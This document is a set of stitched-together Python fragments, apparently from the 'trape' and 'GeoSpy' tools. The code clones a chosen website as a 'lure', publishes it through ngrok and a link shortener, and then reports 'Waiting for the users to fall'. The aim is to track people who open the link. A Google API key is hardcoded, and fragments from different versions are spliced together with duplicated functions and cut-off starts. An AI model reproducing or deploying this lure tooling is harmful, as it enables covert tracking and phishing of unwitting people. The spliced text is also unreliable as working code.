'--injectcode', dest='injc', help='Insert your custom REST API path') parser.add_argument('-ud', '--update', dest='update', help='Update trape to the latest version') options = parser.parse_args() self.type_lure = 'global' if options.url is None: utils.Go("\033[H\033[J") utils.Go("----------------------------------------------") utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white']) utils.Go("----------------------------------------------") utils.Go("| v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " |") utils.Go("--------" + "\n") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + "]" + " " + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color['white']) utils.Go("") options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) if options.port is None: options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) while utils.checkPort(int(options.port)) == False: utils.Go("\033[H\033[J") utils.Go("----------------------------------------------") utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white']) utils.Go("----------------------------------------------") utils.Go("\n") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR:" + " " + utils.Color['whiteBold'] + "The port: " + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Color['yellow'] + "Use another port" + utils.Text['end'] + ")" + "\n\n") options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) #while utils.checkUrl(str(options.url)) == False: options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) utils.Go("") utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Successful " + utils.Color['greenBold'] + "startup" + utils.Color['white'] + ", get lucky on the way!" + utils.Color['white']) utils.Go("") time.sleep(0.1) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) self.localIp = s.getsockname()[0] self.app_port = int(options.port) self.url_to_clone = str(options.url) if self.url_to_clone[0:4] != 'http': self.url_to_clone = 'http://' + self.url_to_clone self.victim_path = options.url.replace("http://", "").replace("https://", "") if (options.ngrok or (self.ngrok != "")): if self.ngrok == '': utils.Go("\033[H\033[J") self.ngrok = raw_input("What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) if (self.ngrok != ''): from core.ngrok import ngrok import os.path as path v_ngrok = ngrok(self.ngrok, self.app_port, stat, self.stats_path) else: utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + "Your nGrok authtoken can't be empty") # Custom name of REST API if (options.injc): self.injectURL = options.injc # Custom access token if (options.accesskey): self.stats_key = options.accesskey # Check current updates if (options.update): utils.Go("\033[H\033[J") utils.Go("Updating..." + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "..." + "\n") subprocess.check_output(["git", "reset", "--hard", "origin/master"]) subprocess.check_output(["git", "pull"]) utils.Go("Trape Updated... Please execute again...") sys.exit(0)
# # ** # ############################################### from flask_socketio import SocketIO from core.utils import utils # from core import trape, db, app try: import flask import flask_socketio import os except: utils.Go( "\t\nPlease install requirements.txt libraries, you can do it executing:" ) utils.Go("\t\npip install -r requirements.txt") if __name__ == "__main__": trape.load_config() trape.process_arguments() if db.firstTime: db.create_database() utils.first_time_message() trape.header() import core.user import core.stats from core.sockets import Sockets socketio = SocketIO(app)
# License for the specific language governing permissions and limitations under # the License. import os os.system("printf '\033]2;Geolocation Spy\a'") from core.utils import utils from core.geospy import GeoSpy from core.db import Database from time import sleep try: import flask import flask_socketio except: utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + utils.Color['white'] + "Missing some necessary dependencies!") import sys sys.exit() # We generalize the main class of <GeoSpy> trackPeople = GeoSpy() # call class database generateData = Database() if generateData.firstTime: utils.Go("\033[H\033[J") utils.Go("\t" + utils.Color['white'] + "--" + " " + "v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " " + "--" + "\n" + utils.Color['white']) utils.Go(utils.Color['whiteBold'] + "Welcome " + utils.Color['greenBold'] + os.uname()[1].upper() + utils.Color['whiteBold'] + " to GeoSpy" + utils.Color['white']) utils.Go("------") utils.Go("This is an exclusive version for researchers, or professionals \nwho are dedicated to research, we hope you enjoy." + "\n") utils.Go(utils.Color['whiteBold'] + "DISCLAIMER" + utils.Color['white'])
# For full copyright information this visit: https://github.com/jofpin/trape # #** # ############################################### # from core.utils import utils # from core.trape import Trape # from core.db import Database # from time import sleep import os # try: # import flask # import flask_socketio # except: ############################################ utils.Go("\t\nPlease install requirements.txt libraries, you can do it executing:") # utils.Go("\t\npip install -r requirements.txt") ##################################### ###################################################### # We generalize the main class of <trape> trackPeople = Trape() # call class database generateData = Database() if generateData.firstTime: utils.Go("\033[H\033[J") utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@@@@@@@@@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@@@@@@@@@@@@ ") utils.Go(utils.Color['whiteBold'] + " @@@@@ @@ @@@@@ ")
def header(self): # Principal header of tool utils.banner() # Update verification changeLog = requests.get( "https://raw.githubusercontent.com/jofpin/trape/master/version.txt", timeout=4) changeLog = changeLog.text.split(" ")[1] changeLog = changeLog.strip() if changeLog != self.version: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['yellowBold'] + "NEW VERSION IS AVAILABLE: " + utils.Color['white'] + "v" + utils.Color['redBold'] + changeLog + utils.Color['white'] + " " + "(install changes)") utils.Go("") else: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['greenBold'] + "RUNNING RECENT VERSION" + utils.Color['white']) utils.Go("") # Local information vars utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the users: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API path: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + utils.Color['white']) utils.Go("") if self.ngrok != '': if self.googl == '': self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' try: opener = urllib.request.build_opener() pLog = 4040 time.sleep(2) ngrokStatus = str( opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace( '\n', '').replace(' ', '') ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos <= 0: # time.sleep(4) ngrokStatus = str( opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace( '\n', '').replace(' ', '') ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos >= 0: ngrokStatus = ngrokStatus[ngrokUrlPos - 25:ngrokUrlPos + 28] ngrokUrlPos = ngrokStatus.find('http') ngrokUrlPos2 = ngrokStatus.find('.io') ngrokStatus = ngrokStatus[ngrokUrlPos:ngrokUrlPos2] + '.io' utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "PUBLIC INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") r = utils.gShortener( self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path) self.nGrokUrl = ngrokStatus.replace('https', 'http') utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Public lure: " + utils.Color['blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel link: " + utils.Color['blue'] + ngrokStatus.replace('https', 'http') + '/' + self.stats_path + utils.Color['white']) else: utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) except Exception as e: utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + e.reason) utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) utils.Go("\n" + utils.Color['white']) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "?" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Do not forget to close " + self.name_trape + ", after use. Press Control C" + " " + utils.Color['white'] + '\n') utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Waiting for the users to fall..." + "\n")
def header(self): if self.stat == 1: utils.banner() utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the users: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API path: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + utils.Color['white']) utils.Go("") if self.ngrok != '': if self.googl == '': self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' try: opener = urllib2.build_opener() time.sleep(1.5) fileLog = open(self.stats_path + '.nlog', 'r') log = fileLog.read().replace('\n', '').replace(' ', '') pLog = log.find('127.0.0.1:') + 10 pLog = int(log[pLog:pLog + 4]) fileLog.close() os.remove(self.stats_path + '.nlog') ngrokStatus = str( opener.open('http://127.0.0.1:' + str(pLog) + '/status').read()).replace( '\n', '').replace(' ', '') time.sleep(0.5) ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos <= 0: time.sleep(4) ngrokStatus = str( opener.open('http://127.0.0.1:' + str(pLog) + '/status').read()).replace( '\n', '').replace(' ', '') ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos >= 0: ngrokStatus = ngrokStatus[ngrokUrlPos - 25:ngrokUrlPos + 28] ngrokUrlPos = ngrokStatus.find('http') ngrokUrlPos2 = ngrokStatus.find('.io') ngrokStatus = ngrokStatus[ ngrokUrlPos:ngrokUrlPos2] + '.io' utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "PUBLIC INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") r = utils.gShortener( self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path) gooGl = json.loads(r._content) if r.status_code == 200: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Link shortened lure: " + utils.Color['blue'] + gooGl['id'] + utils.Color['white'] + " " + "(share)") else: utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + gooGl['error']['reason']) self.nGrokUrl = ngrokStatus.replace('https', 'http') utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Public lure: " + utils.Color['blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel link: " + utils.Color['blue'] + ngrokStatus.replace('https', 'http') + '/' + self.stats_path + utils.Color['white']) else: utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) except Exception as e: utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + e) utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) utils.Go("\n" + utils.Color['white']) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "?" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Do not forget to close " + self.name_trape + ", after use. Press Control C" + " " + utils.Color['white'] + '\n') utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Waiting for the users to fall..." + "\n")